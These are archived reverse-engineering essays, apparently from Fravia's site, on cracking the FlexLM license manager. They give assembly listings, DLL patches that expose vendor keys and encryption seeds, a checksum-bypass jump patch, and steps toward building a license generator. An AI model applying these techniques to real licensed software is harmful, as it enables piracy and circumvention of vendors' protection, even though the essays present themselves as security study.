Ltrace analyzes an ELF file and log the calls made to dynamic functions declared in the ELF file.
So the functions called from functions in the library ( a function in a library calls another one in a
library), are not logged. In my daemon, even the main function was taken from the library created
(libflex.so.1), then nothing could be logged. You dig it ? The solution was to leave some of the
"important" object files outside the dynamic library and link them statically, but it was getting
really meshy.
The daemon cannot be started directly. Is the license manager lmgrd, the one that starts the
daemon (via an exec system call). Ltrace has some problems logging child processes and that was
the case. Later i discovered that you may start the daemon by yourself, you just need to give it the
appropiate (and not obvious) commmand line.
I finally decided to build my fat statically linked daemon. When you run it, it gives you a message about
vendor keys don't support daemon mode and then it shows your vendorkey1, vendorkey2, vendorkey3
and vendorkey4. I forgot to tell you the evaluation kit had the limitation that it didn't support daemon
mode. I patched the file, and i received a message about my vendor keys were over. I patched it too and
then, i got no message but my deamon died when it was booting, creating a segmentation fault. In that
case a "core" file is generated and can be debugged with gdb ( i just got there the command line for the
daemon).
Ok, may be the vendor keys are necessary ... Then i got the daemon provided by khoral guys from
XPrismPro and it booted with no error. Ok, why don't getting khoral vendor keys ????
Now is the moment to give the information about the encryption process and some data structure used by
the software. The supposed process is:

http://www.instinct.org/fravia/siulflex.htm (7 of 14) [2/7/2001 3:28:25 PM]


siulflex.htm: Linux advanced cracking: flexlm

a) for running the software, you get vendor keys 1,2,3,4 and 5.
b) lmcrypt creates the license. For the job it uses your PERSONAL AND SUPERSECRET encryption
seed1 and seed2.
c) the daemon checks the encryption using encryption seed1 and seed2 xored with vendorkey5, to keep
them secret and improve security :-DDDDD.
typedef struct {
short type;
unsigned long data[2];
unsigned long keys[4];
short flexlm_version;
short flexlm_revision;
char flexlm_patch[2];
char
behavior_ver[LM_MAX_BEH_VER + 1];
} codes;

where "data" array keeps encryption seeds (xored with vendorkey5), and "key" array keeps
vendorkeys1,2,3 and 4. If you go back to the definition of function lc_init, a pointer to a structure like
this is passed to the function.
You'll notice that vendorkey5 is not present in the data structure, you can do a binary search in the
daemon and it is no present as a redable data. It's quite easy to run DDD and in the call to lc_init, for
instance, read khoral vendor keys1,key2,key3,key4, xored_seed1 and xored_seed2. All of them are
carried in a the structure declared above.
I tried to use those vendor keys (and make up the five one :-) building my home daemon, but the
performance was the same i obtained with my patching: the daemon dies with no error message. Ok, let's
admit that the evaluation kit doesn't support daemon mode (or at least is not too obvious to fool it). Well
let's concentrate now in the license generation.
What lmcrypt finally does is to call the function lc_cryptstr
int lc_cryptstr(job, str, return_str, code, flag, filename, errors)

that takes the text line of the license with the sensitive information (and the checksum key=0) and
replaces the checksum key with the good value. The parameter "code", is the structure that we saw
before, BUT seed1 and seed2 have been previously unxored, i.e., the original value of seed1 and seed2.
Vendorkey5 is available to the program lmcrypt, so the unxoring is no mistery. The difference is that
vendorkey5 is not provided to the daemon that checks the license to be good or bad.
To be honest i didn't believe such an algorithm that takes the ckecksum and says if it's good or bad
without generating it again. Obviously vendorkey5 should be hidden somehow in the code ( i made some
tests and vendorkey5 was not introduced in the code of the daemon ). It was a little bit tricky, but either
way as vendorkey5 is a 4 bytes value, a brute force attack would not be so hard and the system would be
quite unsecure.
Of course, my home daemon had a perfect symbol table, and the function used by lmcrypt (lc_cryptstr)
was not used. It would be too obvious. Reading the documentation of lc_cryptstr, Globber guys says that

http://www.instinct.org/fravia/siulflex.htm (8 of 14) [2/7/2001 3:28:25 PM]


siulflex.htm: Linux advanced cracking: flexlm

function is an easier choice than using directly lc_crypt, a function that is not documented BTW. The
declaration is something like:
lc_crypt (no_care, no_care, no_care, code);

code ? quite interesting. Let's look at the assembly listing of the daemon, read it backwords: ( i worked
most of the time with khoral daemon, the one with the intersting seeds and no symbols, but it's more
educational if you see the symbol names :-)
0806428a leal 0xfffff7b4(%ebp),%eax
08064290 pushl %eax; <-- code "parameter.class"
08064291 pushl $0x0; <-- paramter for
l_bin_date

Reference to function : l_bin_date

08064293 call 08078710


08064298 addl $0x4,%esp
0806429b movl %eax,%eax
0806429d pushl %eax; <--- no care parameter3
0806429e movl 0x10(%ebp),%eax
080642a1 pushl %eax; <--- no care parameter2
080642a2 movl 0x80aebac,%eax
080642a7 pushl %eax; <--- no care parameter1

Reference to function : lc_crypt

080642a8 call 0808c0a0 <<<< calling


lc_crypt
080642ad addl $0x10,%esp
then the parameter comes from a local variable, let's see now the whole routine:
Reference to function : l_svk

0806423b call 08087e30


08064240 addl $0x8,%esp
08064243 movl %eax,%eax
08064245 movl %eax,local_A; <--- the returned value
0806424b pushl $0x28; <------- size of structure
0806424d movl 0x80ae910,%eax; <-- pointer to "code" structure
08064252 pushl %eax
08064253 leal local_B,%eax
08064259 pushl %eax

Reference to function : memcpy <------ copy code "structure.class" to local_2

0806425a call 0804977c


0806425f addl $0xc,%esp
08064262 movl 0x80ae910,%eax; <-- pointer to code "struc.class"
08064267 movl 0x4(%eax),%ecx; <-- load seed1
0806426a xorl local_A,%ecx; <-- some xoring

http://www.instinct.org/fravia/siulflex.htm (9 of 14) [2/7/2001 3:28:25 PM]


siulflex.htm: Linux advanced cracking: flexlm

08064270 movl %ecx,local_B+4; <-- update seed1


08064276 movl 0x80ae910,%eax; <-- pointer to code "struc.class"
0806427b movl 0x8(%eax),%ecx; <-- load seed2
0806427e xorl local_A,%ecx; <-- more xoring
08064284 movl %ecx,local_B+8; <-- update seed2
0806428a leal local_B,%eax; <-- corrected code
08064290 pushl %eax; <---------- our parameter
08064291 pushl $0x0

Reference to function : l_bin_date

08064293 call 08078710


08064298 addl $0x4,%esp
0806429b movl %eax,%eax
0806429d pushl %eax
0806429e movl 0x10(%ebp),%eax
080642a1 pushl %eax
080642a2 movl 0x80aebac,%eax
080642a7 pushl %eax

Reference to function : lc_crypt

080642a8 call 0808c0a0


080642ad addl $0x10,%esp

I put again the code structure to ease the analysis:


typedef struct {
short type;
unsigned long data[2];
unsigned long keys[4];
short flexlm_version;
short flexlm_revision;
char flexlm_patch[2];
char behavior_ver[LM_MAX_BEH_VER + 1];
} codes;

OK, so vendorkey5 is supplied by a call to function l_svk (of course, not documented)
int l_svk(char*,codes*)
And my dear friends, the first parameter is the daemon name !!! I didn't analysed it deeply, but
apparently the function uses vendorkeys2 and 3, together with vendor name, and builds on the fly
vendorkey5, used to unxor seed1 and seed2.
Now we get all the data to rebuild the whole crap, and build all kind, types, sort of licenses, server
redundants, node locked, permanent, blah, blah. HEY COMPANIES FROM THE WORLD, THIS IS
YOUR SECURITY !!! I don't understand quite well what does a company as Lockeed Martin using
Flexlm. Once you know the process, it's quite easy to look at function signatures and locate the sensible
functions quickly. The whole security is based on secrecy, and that uses to be no security.
The license generation works perfectly if you want to try it. Anyway my doubts about the whole crap
remains. Apparently XPrismPro doesn't use the daemon thing at all. Turn it on, turn it off, it only needs

http://www.instinct.org/fravia/siulflex.htm (10 of 14) [2/7/2001 3:28:25 PM]


siulflex.htm: Linux advanced cracking: flexlm

the license file, so i'll gotta wait to test the daemon weakness ( or not ). If anyone understands perfectly
the daemon working, please tell me. What now I grasp it's that the idea is to spread n (identic) licenses in
a company, and you can use just m (m
That's all folks !!!
--------------------------------------------------------
Because people use to ask it to me, i repeat here the code for dasm, but IT WAS AVAILABLE IN OLD
ESSAYS TOO !
#!/usr/bin/perl
;############ MODIFY THIS LINE WITH YOUR PERL LOCATION ############
push(@INC,"/usr/lib/perl5");
require("flush.pl");

;##################################################################
;######## LINUX DISASSEMBLER 2.01
;######## (C) SiuL+Hacky Aug 1998
;######## You may copy, modify, distribute this program and
;######## is up you to keep this header here
;######## Usage: dasm exe_file dasm_file
;##################################################################

$f_input=$ARGV[0];
$f_output=$ARGV[1];
&printflush(STDOUT, "\nCreating disassembled file ...");
$return=system("objdump -d -T -x --prefix-addresses
".$f_input.">".$f_output."2");
if ($return!=0){
print "\nERROR OPENING OBJDUMP $return";
print "\nUsage: dasm exe_file dasm_file";
print "\nBe sure to get objdump in your path. Check also file
permissions\n";
exit(1);
}

open(INPUT, "<".$f_output."2");

&printflush(STDOUT, "\nReading strings ...");

$_=;
while (!/.rodata/){

$_=;
}
($rubbish, $rest)=split(/.rodata/,$_,2);
($rubbish, $rest)=split(/0/,$rest,2);
@numbers=split(/ /,$rest,5);
$size=hex($numbers[0]);
$starting_address=hex($numbers[1]);
$end_address=$starting_address+$size;
$offset=hex($numbers[3]);

http://www.instinct.org/fravia/siulflex.htm (11 of 14) [2/7/2001 3:28:25 PM]


siulflex.htm: Linux advanced cracking: flexlm

open(CODIGO, "<".$f_input);
seek(CODIGO,$offset,0);
read(CODIGO,$cadena,$size);
close(CODIGO);

$_=;
while (!/SYMBOL TABLE/){

$_=;
}
&printflush(STDOUT, "\nProcessing symbol table ...");

$_=;
while (!/^\n/){
@st_element=split(/ /, $_);
$_=$st_element[$#st_element];
chop;
$symbol_table{$st_element[0]}=$_;

$_=;
}

while (!/\.text/){

$_=;
}
&printflush(STDOUT, "\nProcessing jmps and calls ...");

######### the regex gets rid of possible line information #############

while (){
$_=~ s/<.*?>//g;
$_=~s/ / /g;
if (/j/){
($direccion,$inst,$destino)=split(/ /,$_,3);
$destino=~s/ //g;
chomp($destino);
$salto{$destino}.=($direccion." \; ");
}
elsif (/call/){
($direccion,$inst,$destino)=split(/ /,$_,3);
$destino=~s/ //g;
chomp($destino);
$call{$destino}.=($direccion." \; ");
}
}

seek(INPUT,0,0);
&printflush(STDOUT, "\nWritting references ...\n");
open(OUTPUT, ">".$f_output) || die print "\nError

http://www.instinct.org/fravia/siulflex.htm (12 of 14) [2/7/2001 3:28:25 PM]


siulflex.htm: Linux advanced cracking: flexlm

opening write file\n";


print OUTPUT "FILE REFERENCED\n\n";

while (!/Disassembly of section .text:/){

$_=;
print OUTPUT;
}
$char=".";
$counter=0;

while(){
$counter++;
if ( ($counter % 400)==0){
printflush(STDOUT,$char);
if ( ($counter % 4000)==0){
printflush(STDOUT,"\r");
if ($char eq "."){ $char=" ";}
else { $char=".";}
}
}
$copia=$_;
$_=~s/<.*?>//ge;
$_=~s/ / /g;
($direccion, $inst, $destino)=split(/ /,$_,3);
if ( defined( $symbol_table{$direccion} )){
print OUTPUT "\n";
print OUTPUT "---- Function :
".$symbol_table{$direccion}." ----\n";
}
if (/call/){
$destino=~s/ //g;
chomp($destino);
if ( defined( $symbol_table{$destino} )){
print OUTPUT "\n";
print OUTPUT "Reference to function :
".$symbol_table{$destino}."\n\n";
}
}
if ( defined( $salto{$direccion} )){
print OUTPUT "\n";
print OUTPUT "Referenced from jump at
".$salto{$direccion}."\n\n";
}
if ( defined( $call{$direccion} )){
print OUTPUT "\n";
print OUTPUT "Referenced from call at
".$call{$direccion}."\n\n";
}
if (/\$/){
($instruccion, $operand)=split(/\$/,$_,2);
if (!/push/){
($operand, $rest)=split(/\,/,$operand,2);
}
chomp($operand);
$offset=hex($operand);

http://www.instinct.org/fravia/siulflex.htm (13 of 14) [2/7/2001 3:28:25 PM]


siulflex.htm: Linux advanced cracking: flexlm

if ( ($offset <= $end_address) && ($offset >=


$starting_address ) ){
$auxiliar=substr($cadena, $offset-$starting_address);
$length=index($auxiliar, pack("x") );
$auxiliar=substr($auxiliar, 0, $length);
$auxiliar=~s/\n//g;
print OUTPUT "\n";
print OUTPUT "Possible reference to string:";
print OUTPUT "\n\"$auxiliar\"\n\n"
}
}
print OUTPUT $copia;
}
close(INPUT);
close(OUTPUT);
print "\n";
system("rm ".$f_output."2");

Final Notes
It's not my intention to harm any company that was fooled with this system, so as you could see no ready
to use crack was released. I just wanted to show how poor is the protection scheme used in the license
generation.

Ob Duh
I WILL bother explaining you that you should BUY this target program if you intend to use it for a longer
period than the allowed one. Should you want to STEAL this software instead, you are a moron. This is
the kind of software that WE NEED. Many people should register it and allow its Author to write even
more interesting stuff!

You are deep inside fravia's page of reverse engineering, choose your way out:

Fravia's main site


homepage +ORC anoncounter measures tools +HCU Academy stalking reality
cracking
students' essays cocktails links search_forms mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/siulflex.htm (14 of 14) [2/7/2001 3:28:25 PM]


pilgrim4.htm: FlexLm handy hints

FlexLm handy hints


more stuff on FlexLm Not Assigned

June 1999 by pilgrim


slightly edited
Courtesy of Fravia's page of reverse engineering
by fravia+
Quite deep. We are descending quite deep into FlexLm, and Pilgrim is
one of those 'dedicated' reversers, that keeps his interested on a
fra_00xx particular scheme as long as it needs be to completely elucidate how
980616 things work "inside" it. So I'm sure we are not yet quite finished with
Pilgrim this matter. Quite some lessons for programmers as well in here, btw:
0100 for instance you should not allow easy patching of your code (duh).
NA Pilgrim writes: "I used the 'obsolete' function lc_baddate as
PC sparespace for my code patches". That's indeed a very interesting part
of this essay...
Enjoy!
There is a crack, a crack in everything That's how the light gets in
Rating ( )Beginner (X)Intermediate ( )Advanced ( )Expert

FlexLm is pretty complicated, it's easy to become confused. Here's some handy hints which may help.

FlexLm handy hints


more stuff on FlexLm
Written by pilgrim

Introduction
The recent Generation of older style FLEXlm license files essay by VoxQuietis re-awakened my interest in FlexLm.
So I've been digging a little deeper.. applying a little zen...
This document is intended to supplement the other essays by Siul+Hacky, pilgrim and Vox. Just various bits of info
which may help in your analysis of your particular target.

Tools required
W32DASM, your favourite HexEditor

Target's URL/FTP
No specifics.
Known users of FlexLm: MatLab: www.mathworks.com ProE: www.ptc.com

http://www.instinct.org/fravia/flexm11.htm (1 of 7) [2/7/2001 3:28:34 PM]


pilgrim4.htm: FlexLm handy hints

Program History
The oldest I've seen is 16 bit, V5 ( lmgr165.dll ) It's evolved into 32 bit, V6, and soon V7.
This seems to be a layered approach, adding more and more layers around the basic core.
We're attacking the core, so version is, mostly, irrelevant.
But the history, the evolution, is well worth studying.

Essay
Contents
========

1. Code signatures
2. How key 5 is generated and how to get it fast
3. Useful tools
4. More notes on license generation
5. Fast 32 bit Cryptwin decryption

1. Code signatures
==================

The license manager DLLs are useful - they've got


export tables for _most_ functions.
However, in Globetrotters own utilities, and some
third party code,
the DLLs aren't used. Functions are called within the
target EXE, and rarely have export tables.
So it's useful to look at a desired function in the DLL,
find some identifying features, and look for these in
our target EXE.
A few examples from lmgr326a.dll:

a) XOR of seeds 1 and 2 with key 5:

mov eax, dword ptr [edi+04] <- get seed 1


xor eax, ebx <- xor with key 5
mov dword ptr [ebp-24], eax <- and store
mov eax, dword ptr [edi+08] <- get seed 2
xor eax, ebx <- xor with key 5

A little above this code is the call to generate key 5.


So search for code which looks a little like this,
maybe just xor, , , xor to start with.

b) lc_set_attr()

If we look at lmgr326a.dll, we see the attribute values such as


0x41 = 65 LM_A_BEHAVIOR_VER are pushed before a call
to lc_set_attr()

http://www.instinct.org/fravia/flexm11.htm (2 of 7) [2/7/2001 3:28:34 PM]


pilgrim4.htm: FlexLm handy hints

So search for a push 00000041 in your target and find


likely candidates.
Then repeat with something like push 00000038,
LM_A_LICENSE_DEFAULT
Reduce the number of candidates and find
lc_set_attr().

2. How key 5 is generated and how to get it fast!


=================================================

Key 5 is generated exactly the same for flexlm V5.12 and V6.10.
The exact address seems to vary with various versions of DLLs.

You pass the vendor string and the 4 keys and key 5 is
generated for you.

For example, in lmgr326a.dll, we can see how the key 5


generator is called:

Exported fn(): l_cksum - Ord:007Eh


:10003723 push ebp
...
:1000372F mov edi, dword ptr [ebp+14] <- start of the key structure
:10003732 lea eax, dword ptr [esi+0000008C] <- VENDOR_STRING
:10003738 push edi <- start of the key structure
:10003739 push eax <- VENDOR_STRING
:1000373A call 10011415 <- generate key 5
:1000373F add esp, 00000008 <- re-adjust stack
:10003742 mov ebx, eax <- store key 5 for later use then...
:10003753 mov eax, dword ptr [edi+04] <- seed 1
:10003756 xor eax, ebx <- XOR with key 5
:10003758 mov dword ptr [ebp-24], eax <- store XORed seed 1
:1000375B mov eax, dword ptr [edi+08] <- seed 2
:1000375E xor eax, ebx <- XOR with key 5
:10003760 mov edi, dword ptr [ebp+0C] <- store XORed seed 2

Feel free to analyse the generation, it applies various shifts, XORs


and bit manipulation to the vendor string and the four keys.
( It uses the magic number 1504C935 noted by Vox ).

So we _could_ rip it apart and write our own key 5 gen,


but why bother when the function's in a DLL for us?
What I did was patch the lc_init() function to call
generate key 5 and display it.

For example, using lmgr326a.dll, apply a patch to the start


of the lc_init function:

Exported fn(): lc_init - Ord:0034h

mov eax, esp


add eax, 0000000C

http://www.instinct.org/fravia/flexm11.htm (3 of 7) [2/7/2001 3:28:34 PM]


pilgrim4.htm: FlexLm handy hints

mov ebx, dword ptr [eax] <- the vendor string


push ebx
sub eax, 00000004
mov ebx, dword ptr [eax] <- start of key structure
push ebx
call 10011415 <- generate key 5 in eax
add esp, 00000008 <- re-adjust the stack
push eax <- key 5
push 100381F8 <- "%lx"
push 1003F1C0 <- empty RAM for workspace
Call dword ptr [100414EC]<- USER32.wsprintfA
add esp, 0000000C <- re-adjust the stack
push 00000000 <- style of message box
push 10038C50 <- "5.0" message box title
push 1003F1C0 <- the ascii text in the workspace
push 00000000 <- NULL window handle
Call dword ptr [100414F0]<- USER32.MessageBoxA
ret

Now when your target calls lc_init, voila! a message


box with key 5 appears.

3. Useful tools
===============

You can apply a similar idea and patch the lmgr*.DLL


to give you all the info
you need, with no dissassembly of the target required.

I patched lc_init to display the vendor string, the 2


seeds and all 5 keys.
Unfortunately the targets crashed after this patch,
but hey! we got the keys!

You can patch lc_checkout and lc_get_config to display


feature names.
This can be done invisibly to the target which keeps
on running. Very useful.

Another useful patch is to get lc_set_attr to display


attribute and value.
This shows you when the target is implementing some of
the trickier flexlm
features, such as vendor-defined hostids.

A few hints:
lmgr325c.dll uses relocating addresses, so watch it!
lmgr325c.dll has no call to wsprintf(), but has an
internal function at

1002FB20 which does the same job.


I used the 'obsolete' function lc_baddate as spare

http://www.instinct.org/fravia/flexm11.htm (4 of 7) [2/7/2001 3:28:34 PM]


pilgrim4.htm: FlexLm handy hints

space for my code patches.

A snippet of example for lmgr325c.dll:

Exported fn(): lc_init - Ord:0034h


mov eax, esp
add eax, 00000008 <- pointer to the vendor string
push 00000000 <- style of message box
push 0093448C <- "VENDOR_STRING"
push dword ptr [eax] <- the vendor string
push 00000000 <- NULL window handle
call dword ptr [0093A40C] <- USER32.MessageBoxA
mov eax, esp
add eax, 0000000C <- pointer to the key struct
mov ebx, dword ptr [eax] <- start of key block
add ebx, 00000004
mov eax, dword ptr [ebx] <- seed 1
push eax
push 00931968 <- "%lx"
push 009367F8 <- empty RAM for workspace
call 1002FB20 <- sprintfA
add esp, 0000000C <- re-adjust the stack
push 00000000 <- style of message box
jmp 100145A2 <- jump over code change due to relocation
push 009313BC <- "0" message box title
push 009367F8 <- the ascii text in the workspace
push 00000000 <- NULL window handle
call dword ptr [0093A40C] <- USER32.MessageBoxA
...etc...etc

4. More notes on license generation


===================================

Use the genlic.exe program that comes with the 6.1 SDK
if you've got
a target using the basic 6.1 DLL.
But if you've got 5.12, or your target implements
enhanced flexlm features,
then it's time to write your own licence generator.
Vox shows you how.

Now if your target applies something like


vendor-specific IDs then you need
to put some calls to lc_set_attr() in your license
generator, mimicking the calls made by the target.
A deeper analysis of lc_set_attr() shows that the final checksum
in the license.dat file is not affected by date of
license generation, or by calling lc_set_attr().
However, lc_init() returns error codes if the license
file input is not as expected,
so if you've got a vendor-specific ID in the input
license file, you need to call lc_set_attr() so that

http://www.instinct.org/fravia/flexm11.htm (5 of 7) [2/7/2001 3:28:34 PM]


pilgrim4.htm: FlexLm handy hints

lc_init() knows how to parse the input license file.

5. Fast 32 bit Cryptwin decryption


==================================

Find the key by setting a breakpoint on the


"%.4d-%.4d-%.4d-%.4d"
Add a -00 to the end to get something like
1111-2222-3333-4444-00
Run this through cryptwin.exe.
It will bomb out with an error message.
The problem is the extra checksum stored at the start
of the *.FC file.
So patch cryptwin.exe to by-pass the checksum check:

* Possible StringData Ref from Data Obj ->"FLEXcrypt Copyright (C) 1990-1997,"
->"Globetrotter Software, Inc."
|
:00402D66 6870AE4200 push 0042AE70
:00402D6B 51 push ecx
:00402D6C E8CFC40100 call 0041F240 <- string compare
:00402D71 83C40C add esp, 0000000C
:00402D74 85C0 test eax, eax
:00402D76 7579 jne 00402DF1 <- patch to always jump
:00402D78 FF7508 push [ebp+08]

Now it'll by-pass the checksum check and decrypt (albeit with the
wrong start value ).

Final Notes
As Vox says, there's still more to do on FlexLm.
Vendor-defined checkouts, encryption etc, and then
there's FlexLock...

pilgrim

Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer period
than the allowed one. Should you want to STEAL this software instead, you don't need to crack its protection scheme at
all: you'll find it on most Warez sites, complete and already regged, farewell, don't come back.

You are deep inside fravia's page of reverse engineering, choose your way out:

http://www.instinct.org/fravia/flexm11.htm (6 of 7) [2/7/2001 3:28:34 PM]


pilgrim4.htm: FlexLm handy hints

Choose another page!

homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia
Is reverse engineering illegal?

http://www.instinct.org/fravia/flexm11.htm (7 of 7) [2/7/2001 3:28:34 PM]


flexm.htm Generation of older style FLEXlm license files

Generation of FLEXlm license files


How to make V5.x license files with the V6.x SDK Not Assigned
Spring
1999 by VoxQuietis
slightly edited
Courtesy of Fravia's page of reverse engineering
by fravia+

Dear Fravia,

Even after having read, that there are more reasons


not to publish an essay / write an email (info.htm)
to You, I still would like the following essay
have published by You (I wanna submit my essay,
dammit).
It deals with some questions that are in my opinion not
explained in several essays studying Flexlm protection
scheme. Hence I think, this essay is not the tell-You-
how-I-did-the-crack essay You are about to remove
from Your site.

I used Your formatting muster, but I needed to add


a section at the end, to house some hopefully
interesting code snippets.
Moreover there are a few hyperlinks to documents
on the crazyboy mirror, since the fortress is down.
Another point of doubt is the introduction: it
is meant fully frank, but maybe it sounds quite
pathetic, and maybe it is not the right location
for such words. Hope You will give me a hint, if
You think I'd better change this.
I had the reversing content itself checked by an
independent reverser, so I am sure about meeting
the quality standards of the students essays.

Finally I would like to explain the learners point


of view to the change of your site.
I have been visiting fravia.org for somewhat more
than one year. I was fascinated by the esprit that
glows between the lines that can be seen on Your
site. This is _very_ fascinating to me, since
nowadays only few people are able to understand
the sublime patterns of that (I am really sorry,
that my English is as poor as it is) ... and
Sine Ira et Studio isn't it a pity that the
classical humanistic education seems to be dying
out?
I also gratefully appretiate the lack of irritating
XXX-stuff that seems to be unavoidable within all
the cracking related web pages. I am not a puritan
(our pope says: Wachset und Mehret Euch - maybe even
a polish pope has a certain idea how this must be
accomplished), but when concentrating on some
fra_00xx

http://www.instinct.org/fravia/flexm.htm (1 of 12) [2/7/2001 3:28:42 PM]


flexm.htm Generation of older style FLEXlm license files

98xxxx assembly stuff, I feel even disturbed by silly


handle couloured comic strips on top of the monitor.
1100 There Your site guarantees the pure delight:
NA The joy of following so many diffents little
PC threads and hints into this labyrinth of a web
site and all the wealth of information on how
the computer (which is my most common erveryday's
tool) really works.
Hence from my point of view You should go on to
publish both the expert stuff for the avantgarde
of the S/W reversing art and the stuff for the
learning people. With respect to the expert stuff
things are clear, since they explain techniques
previously not known at all.
I suppose the development of a good publication
stategy for the learner/intermediate level as much
more problematic. In my opinion quite a lot of
diffent topics need to be treated: Using the tools
at a selection of different targets, Application
Interfaces e.g. all the message box and system time
stuff, typical protection schemes e.g. serial
numbers, timelock, installshield, .., OS related
stuff (I realise that You try hard to promote work on
Linux).
If I understood the discussion right, these points
were more or less made by some people allready shortly
after the publication of Your intentions.
I would like to add, that the essays are also
a kind of a forum for the reverse engineers
(In their transactions IEEE also publishes letters,
which in this sense correspond to the postings of Your
forum, and articles, which would correspond to the
students essays). The idea of beeing a forum should
also become of some importance on the decision on
whether to publish or not. I.e. if one can see, that
there are a couple of people working on a certain
field (in my case on Flexlm), then the academy database
would be the most suited place to publish the results
of this work (even if there is no dedicated project).

I don't know, whether this comment was necessary, or


even welcome, but to me Your exact publishing policy
is not evident by now.

With best regards


VoxQuietis

Your comment was necessary and is welcome, I publish only now because of the
syn-attacks that frigged my fortress' router. Since our answer to the attackers is to
multiply my site mirrors per 100 (...per 1000 if it needs be :-), your essay, although
delayed, will be read everywhere...
There is a crack, a crack in everything That's how the light gets in
Rating ( )Beginner (x)Intermediate ( )Advanced ( )Expert

http://www.instinct.org/fravia/flexm.htm (2 of 12) [2/7/2001 3:28:42 PM]


flexm.htm Generation of older style FLEXlm license files

I wrote this essay as a sign of gratitude to all the reversers who shared their knowlegde with us by writing all the essays that can
be found on fravia+'s site. I hope that this piece of work will help you, dear reader, to increase your knowlegde the same way I
could learn before. Especially I would like to thank SiuL+Hacky, and Pilgrim, whose work made this possible. Finally I would
like to encourage +fravia in continuing the support of the reverse engineering world by maintaining his site as a universal
source of information also for the novice reversers (as I actually am one of this species). I feel that this is essential for the future
growth of a public knowlegde, which is a conditio sine qua non for the survival of non M$ personal computing. (And if M$ ever
died, I believe, the next monster would stand up even more horrifying)

Generation of older style FLEXlm license files -or-


How to make V5.x license files with the V6.x SDK
Written by VoxQuietis

Introduction

Flexlm software protection scheme has been treated by several


essays before. Nevertheless there are still quite some open
questions (I think I also won't be able to treat them all).
In the following I will focus on these points:

1.) How to collect the required key data fast and efficiently

2.) Solving the Bad Key Data problem

3.) Compiling a license key generator (aka lmcrypt.exe)

I expect you having read the essay of Pilgrim. And I expect you
to have the Flexlm HTML manuals available. It's worth the time
studying them in order to understand the concepts of Flexlm operation.

Tools required
A disassembler (WDASM is good enough)

A debugger (SoftIce is the best one)

A hex editor (I like Hiew)

Your favourite C-Compiler (I use good old Borland C/C++ V4.5)

Flexlm software development - you might beg for a password,


or you might crack the encryption yourself,
e.g. after having read pilgrim's beautiful new essay.

Target's URL/FTP

http://www.instinct.org/fravia/flexm.htm (3 of 12) [2/7/2001 3:28:42 PM]


flexm.htm Generation of older style FLEXlm license files

I do not intend to treat a specific target. But You might consider


Aitor's target as a working example. Nevertheless I have to state
that the implementation of the Flexlm protection in this case is rather
poor. Try for example this target, a buggy and overbloated collection
of CAE tools. It suffers from crippled features a lot. But it is
incorporating a implementation of Flexlm, that is much more sophisticated
(if this expression could be used on Flexlm at all ;-) than the one
mentioned before. It is not affected by the simple DLL-patching approach
described in the preceding essays, since the programmers made use of
such nice, ugly features as vendor defined checkout filters (i.e. the
checkout is shifted from the DLL into the target itself) and of dongle
protected host restrictions.
Nevertheless a proper license file will the perfect remedy against these
shortcomings, if you aren't too lazy to write a little dongle emulator
in addition to the license generator (maybe I treat Sentinel C Plus
dongle in another essay provided I see the need for that from your response ;-).

Program History
No specific target - no specific history ;-)

Essay
1.) Gathering the required information

Although the retrieval of the needed information is treated by SiuL+Hacky


and Pilgrim, I would like to summarize this topic in order to show You a
fast and efficient way of catching the required pieces of information.
The first step deals with Your target and with the lmgr-dll that came with
it. Start disassembling the DLL, You'll need the disassembly later. Most
probably it is named lmgr32xx.dll, where xx is the version of the Flexlm.
I my case the DLL is lmgr325c.dll, which means I have to deal with Flexlm
version 5.12.
Look for the location of the exported function lc_init. We're going to have a
breakpoint placed on it. Load the target into the debugger. Put Your breakpoint
on lc_init. Be aware of a possible relocation of the DLL. Run your target, and
the debugger will break in.
You should have the description of the lc_init function prototype available.
It looks like that:

status = lc_init(job,VENDOR_NAME, &code, &job);

Look at the stack. The second argument points to the vendor string (i.e. the
vendor name) - write it down! The next argument points to the code struct.
It should be known to You that the corresponding structure would look
like that:

int type; /* compatibility with previous versions */


int (seed1)^(vendorkey5); /* seed 1 for Flexlm checksum */
int (seed2)^(vendorkey5); /* seed 2 for Flexlm checksum */
int vendorkey1; /* vendor key 1 */

http://www.instinct.org/fravia/flexm.htm (4 of 12) [2/7/2001 3:28:42 PM]


flexm.htm Generation of older style FLEXlm license files

int vendorkey2; /* vendor key 2 */


int vendorkey3; /* vendor key 3 */
int vendorkey4; /* vendor key 4 */
short flexlm_version; /* to some extent the different versions */
short flexlm_revision; /* are the root of this essay */

Write them down. From pilgrim's essay You should already know what
to do with them.

Now we have vendor keys 1 to 4, plus the XORed seeds 1 and 2. But we
still have to fish for vendor key 5 - it had been the intention of
the Globetrotter guys to hide it somewhere within the memory, so we'll
need our brain (Isn't this the only essential tool?). Pilgrim did find
it. But he didn't tell us how. Pas de problem. We're going to find them,
too. (And I will tell You, how to find them ;-)
Lets start examining the disassembly of the flexlm-DLL. Look at the
exported functions. Something fishy (or maybe too much of that)?
Look again ... and remember we're looking for cryptographic stuff ...
Ah ... l_checksum ... all the checksum stuff should start from the
correct seeds, as it is obvious, that the scrambled encryption seeds
need to be corrected just before checksum generation takes place.
So jump to the address of the l_checksum function and trace the code.
After a couple of lines You'll find two XOR instructions. Put a
breakpoint ... and ... nothing happens.
Don't worry, scan the disassembly for similar code. Or maybe you examine
the call of l_extract_date, which is following the XORs. Doing so You'll
find two or three locations showing the same XOR instructions. Indeed
there are several copies of the l_checksum function. Put breakpoints on
all the instances of the l_checksum function. Run your target, and ...
bingo! ... we now know vendor key 5.
Write it down, and insert the gathered information into lm_code.h as
indicated by Pilgrim.
Caveat: Do not put breakpoints on the XOR instructions itself - doing
so would lead to a bad data error, and the breakpoint wouldn't hit.
Maybe there is a anti-Softice feature dwelling deep into the lmgr-DLL,
I don't know (Maybe this is a challenge for reversing experts. Maybe
some interesting points are hiding there). Nevertheless in order to
follow this essay put the breakpoint some lines above, and it will work.

2.) The bad vendor key problem

Now the target told us the secrets, we need to know (I hope You already
fished out the feature names - if not, read the description of lc_checkout
and catch them. But be warned, lc_checkout might not be sufficient).
Let's prepare the arena for a first license generation by the means of
the Flexlm guy's demo license generator.

Create a working directory, copy all the header filed from the Flexlm
\machind directory plus the lmcrypt source code (lmcrypt.c). Moreover
we need the demo license generator genlic32.exe and the lmgr-DLL from
the \i86_n3 directory (i.e. lmgr326a.dll for the v6.0 kit). Put the
information found by You in lm_code.h and run genlic32.exe.

